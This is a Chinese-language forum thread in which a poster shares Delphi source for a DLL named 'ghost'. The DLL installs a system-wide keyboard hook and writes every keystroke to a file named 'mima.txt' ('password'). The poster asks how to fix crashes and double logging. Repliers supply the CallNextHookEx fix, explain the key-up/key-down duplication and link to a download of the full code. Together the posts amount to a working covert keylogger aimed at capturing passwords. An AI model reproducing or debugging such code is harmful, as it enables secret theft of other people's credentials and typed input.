小弟这几天作了一个小小的捕捉键盘输入的钩子函数,做了一人DLL(DLL代码如下)供主程序调用。但出现了点问题:就是把主程序最小化的时,只要按任一个键都出现错误,说是DLL发生的错误,但是把它作为当前程序输入时又正常工作,这是为什么呢???
  还有一个问题:下面的钩子函数按一次键它就记录两次,怎样才能使它只记录一次呢??请高手指点!在此谢谢了!!祝大家新年快乐!!!library ghost;
uses           
  SysUtils,windows,
  Classes;
var
hook:integer;
{$R *.res}
 function recorded(icode:integer;wparam:wparam;lparam:lparam):LRESULT;stdcall;
 var
   ftext:textfile;
    begin
    try
      AssignFile(ftext, 'mima.txt');
      Append(ftext);
      Write(ftext,chr(wparam));
      finally
      CloseFile(ftext);
      result:=0;
      end;
    end;
 procedure starthook;stdcall;  //调用钩子函数
 begin
  hook:=setwindowshookex(WH_KEyboard,recorded,GetModuleHandle('ghost.dll'),0);
  end;
 procedure endhook;stdcall;  //释放钩子函数
 begin
   unhookwindowshookex(hook);
 end;
 exports
   starthook,endhook;
begin
end.

解决方案 »

  1.   

    你在钩子回调函数(也就是你的record函数)中需要继续把钩子消息传到下一个消息链上的接点,使用api:CallNextHookEx,可以看看win32帮助关于这个函数的用法
      

  2.   

    try
          AssignFile(ftext, 'mima.txt');
          Append(ftext);
          Write(ftext,chr(wparam));
          finally
          CloseFile(ftext);
     //     result:=0;
    这里改成:
          result:=CallNextHookEx(Hook, iCode, wParam, lParam);
          end;
        end;健盘有按下和放开两个事件的!
      

  3.   

    你在钩子回调函数(也就是你的record函数)中需要继续把钩子消息传到下一个消息链上的接点,使用api:CallNextHookEx,可以看看win32帮助关于这个函数的用法
      

  4.   

    给你完整代码:(下载去吧)
    http://www.efile.com.cn/?liumazi